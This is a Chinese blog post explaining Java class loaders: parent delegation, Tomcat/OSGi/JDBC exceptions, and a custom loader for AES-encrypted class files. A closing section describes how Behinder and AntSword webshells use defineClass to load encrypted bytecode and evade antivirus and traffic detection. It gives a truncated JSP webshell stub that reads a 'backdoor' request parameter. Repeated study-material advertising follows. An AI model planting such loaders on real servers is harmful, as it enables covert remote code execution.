Java安全之【JVM类加载器】

0x03 双亲委派机制


双亲委派机制是Java类加载的核心,该机制一定程度的保证了类加载的安全性。简单来讲这个机制就是“当有载入类的需求时,类加载器会先请示父加载器帮忙载入,如果没有父加载器那么就使用BootStrapClassLoader进行加载,如果所有的父加载器都找不到对应的类,那么才由自己依照自己的搜索路径搜索类,如果还是搜索不到,则抛出ClassNotFoundException

0x1 双亲委派结构

在Java JDK中的类加载器结构如下图所示,BootstrapClassLoader为根加载器、ExtClassLoader为扩展类加载器、AppClassLoader为应用类加载器。其结构如下所示,需要注意的是他们这几个类之间的关系为依赖关系,并不是继承关系。

其中User1ClassLoader可以为应用自己设计的类加载器,并设置AppClassLoader为父加载器,这样就可以使用双亲委派机制。

0x2 代码实现

那么关于双亲委派机制代码上的实现也很简单,根据功能描述写对应的if else分支即可。一般在ClassLoader子类中

protected Class<?> loadClass(String name, boolean resolve)

throws ClassNotFoundException

{

synchronized (getClassLoadingLock(name)) {

// First, check if the class has already been loaded

Class<?> c = findLoadedClass(name);

if (c == null) { //判断是否已经加载该类

long t0 = System.nanoTime();

try {

if (parent != null) {//如果有父类,尝试让父类去加载

c = parent.loadClass(name, false);

} else {

c = findBootstrapClassOrNull(name);//如果没有父类,尝试使用根装载器加载

}

} catch (ClassNotFoundException e) { }

if (c == null) {

// If still not found, then invoke findClass in order

// to find the class.

long t1 = System.nanoTime();

c = findClass(name);//这块需要自定义,比如自己写的类装载器就可以在这里实现类装载功能

// this is the defining class loader; record the stats

sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);

sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);

sun.misc.PerfCounter.getFindClasses().increment();

}

}

if (resolve) {

resolveClass©;//链接已经装载的类

}

return c;

}

}

0x04 自定义类加载器


同一个类代码如果被不同的类加载器加载,那么在当前JVM中他们是两个不同的类。

0x1 遵循双亲委派机制

1.继承java.lang.ClassLoader

2.重写父类的findClass方法

loadClass方法已经实现了双亲委派功能,如果我们再去覆盖loadClass函数就会破坏双亲委派机制。并且JDK已经在loadClass方法中帮我们实现了ClassLoader搜索类的算法,当在loadClass方法中搜索不到类时,loadClass方法就会调用findClass方法来搜索类,所以我们只需重写该方法即可。

0x2 破坏双亲委派机制

双亲委派机制主要依赖于ClassLoader类中的loadclass函数实现逻辑,如果直接在子类中重写loadClass方法,就可以破坏双亲委派机制。目前存在的一些组件,其类加载机制不符合双亲委派也很正常。那么可能有小伙伴就很迷糊了,到底是要遵守还是要破坏呢?应该根据需求,特殊情况特殊对待,大佬们也总结过几种应用场景,梳理如下

1. Tomcat类加载机制

首先说明双亲委派机制的缺点是,当加载同个jar包不同版本库的时候,该机制无法自动选择需要版本库的jar包。特别是当Tomcat等web容器承载了多个业务之后,不能有效的加载不同版本库。为了解决这个问题,Tomcat放弃了双亲委派模型。

当时分析Shiro反序列化的时候,遇到了Tomcat的类加载器重写了loadClass函数,从而没有严格按照双亲委派机制进行类加载,这样才能实现加载多个相同类,相当于提供了一套隔离机制,为每个web容器提供一个单独的WebAppClassLoader加载器。

Tomcat加载机制简单讲,WebAppClassLoader负责加载本身的目录下的class文件,加载不到时再交给CommonClassLoader加载,这和双亲委派刚好相反。

2. OSGI模块化加载机制

不再是双亲委派的树桩结构,而是网状结构,没有固定的委派模型,只有具体使用某个package或者class时,根据package的导入导出的定义来构造bundle之间的委派和依赖。这块内容也打算单独写,vCenter部署及类加机制很大程度上依赖该技术,这里先挖个坑。

3. JDBC类加载机制

这里双亲委派的缺点是父加载器无法使用子加载器加载需要的类,这个使用场景就在JDBC中出现了。

以往JDBC的核心类在rt.jar中,由根加载器加载,然而现在核心类在不同厂商实现的jar包中,根据类加载机制,如果A类调用B类,则B类由A类的加载器加载,这也就意味着根加载器要加载jar包下的类,很显然这一操作违背了双亲委派机制。

为了让父加载器调用子加载器加载需要的类,JDBC使用了Thread.currentThread().getContextClassLoader()得到线程上下文加载器来加载Driver实现类。

0x3 加载加密字节码

为了更深入的了解ClassLoader的工作流程,打算自己写一个加载Class密文件。首先编写加解密函数,将编译好的class文件通过encryptfile函数加密。

package myclassloadertest;

import javax.crypto.Cipher;

import javax.crypto.spec.IvParameterSpec;

import javax.crypto.spec.SecretKeySpec;

import java.io.*;

public class FileUtils {

private static final int ZERO = 0;

private static final int ONE = 1;

private static String derectory ;

private static String key = “aaaabbbbccccdddd”;

private static String ivParameter = “AAAABBBBCCCCDDDD”;

public FileUtils (String path){

derectory = path;

}

public static byte[] doFile(int code, File file, String key, String ivParameterm, String filename) throws Exception {

BufferedInputStream bis = new BufferedInputStream(new FileInputStream(

file));

byte[] bytIn = new byte[(int) file.length()];

bis.read(bytIn);

bis.close();

byte[] raw = key.getBytes(“ASCII”);

SecretKeySpec skeySpec = new SecretKeySpec(raw, “AES”);

Cipher cipher = Cipher.getInstance(“AES/CBC/PKCS5Padding”);

IvParameterSpec iv = new IvParameterSpec(ivParameterm.getBytes());

if (0 == code) {

cipher.init(Cipher.ENCRYPT_MODE, skeySpec, iv);

} else if (1 == code) {

cipher.init(Cipher.DECRYPT_MODE, skeySpec, iv);

}

byte[] bytOut = cipher.doFinal(bytIn);

File outfile = new File(derectory + “/” + filename);

BufferedOutputStream bos = new BufferedOutputStream(

new FileOutputStream(outfile));

bos.write(bytOut);

bos.close();

return bytOut;

}

public static void encryptfile(File file, String key, String ivParameter, String filename) throws Exception {

doFile(ZERO, file, key, ivParameter, filename);

}

public static byte[] decryptfile(File file, String key, String ivParameter, String filename) throws Exception {

return doFile(ONE, file, key, ivParameter, filename);

}

public static byte[] loadfile(String name) throws Exception {

File file = new File(derectory + name.replace(‘.’, ‘/’) + “.class”);

return decryptfile(file, key, ivParameter, “decrypt_tmp_file”);

}

public static void main(String[] args) {

try {

File file = new File(derectory + “myclassloadertest/Test.class”);

String fileName = “myclassloadertest/TestCrypt.class”;

encryptfile(file, key, ivParameter, fileName);

} catch (Exception e) {

e.printStackTrace();

}

}

}

自己编写的classloader只需要使用其中loadfile函数就可以找到文件并自动解密。自定义ClassLoader代码如下

package myclassloadertest;

public class MyClassLoader extends ClassLoader{

private FileUtils fu;

public static void main(String[] args) throws ClassNotFoundException {

ClassLoader classloader=new MyClassLoader(“mypath”);

Class<?> classx = classloader.loadClass(“myclassloadertest.Test”);

System.out.println(classx);

}

public MyClassLoader(String path){

fu = new FileUtils(path);

}

@Override

public Class<?> loadClass(String name) throws ClassNotFoundException {

Class<?> c = findLoadedClass(name);

if (c != null) {

return c;

} else {

ClassLoader parent = this.getParent();//获取父装载器

if (parent != null){

try {

c = parent.loadClass(name);//实现双亲委派机制

}catch (ClassNotFoundException x){}

}

if(c == null){

try {

byte[] classData = fu.loadfile(name);//获取字节码

c = defineClass(name,classData,0,classData.length);//加载类

return c;

} catch (Exception e) {

e.printStackTrace();

}

}

}

return c;

}

}

在实验的过程中要将原来的Test.java删除,这样JDK AppClassLoader就找不到Test类,从而使用FileUtils加载密文件。自定义的ClassLoader也有parent节点,这是因为在初始化加载器的时候会调用父类ClassLoader中的构造方法,该方法中包含着parent属性赋值等操作,如下图所示

那么定义过自己的类加载器后,加载器之间的关系如下所示,MyClassLoader指定了自己的父加载器为当前类的加载器。

0x05 类加载器在冰蝎、 蚁剑木马中的应用


在网络安全领域中类加载器也发挥着重要的作用,ClassLoader加载字节码的功能可以有效的绕过静态查杀和流量查杀。

由于一句话木马的历史悠久,对一句话木马的防护也多种多样。市面上也出现了很多安全防护机制,一类基于文件特征码检测;另外一类基于网络流量特征检测。

如果单纯的依靠一句话木马进行控守和命令执行,流量特征较为单一,比较容易识别。流量加密虽然能够绕过网络流量监测,但是木马目标上落地后因其代码特征很容易被查杀软件杀掉。

因此可以使用ClassLoader的动态加载字节码的功能,让无害功能落地,动态的加载来自网络中的加密字节码。既能绕过流量监测,也能绕过杀软查杀。其中用到的类加载器功能较为简单,只需调用defineClass加载解析字节码即可。

<%@ page import=“sun.misc.BASE64Decoder” %>

<%!

class U extends ClassLoader{

U(ClassLoader c){

super©;

}

public Class g(byte []b){

return super.defineClass(b,0,b.length);

}

}

BASE64Decoder decoder=new sun.misc.BASE64Decoder();

%>

<%

String cls=request.getParameter(“backdoor”);

最后

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数Java工程师,想要提升技能,往往是自己摸索成长,自己不成体系的自学效果低效漫长且无助。

因此收集整理了一份《2024年Java开发全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友,同时减轻大家的负担。

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上Java开发知识点,不论你是刚入门Android开发的新手,还是希望在技术上不断提升的资深开发者,这些资料都将为你打开新的学习之门!

如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!

由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!

因此收集整理了一份《2024年Java开发全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友,同时减轻大家的负担。

[外链图片转存中…(img-lPxDthhf-1715419780934)]

[外链图片转存中…(img-A0fyXcZI-1715419780934)]

[外链图片转存中…(img-oxS6NSGY-1715419780935)]

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上Java开发知识点,不论你是刚入门Android开发的新手,还是希望在技术上不断提升的资深开发者,这些资料都将为你打开新的学习之门!

如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!

由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!

  • 5
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值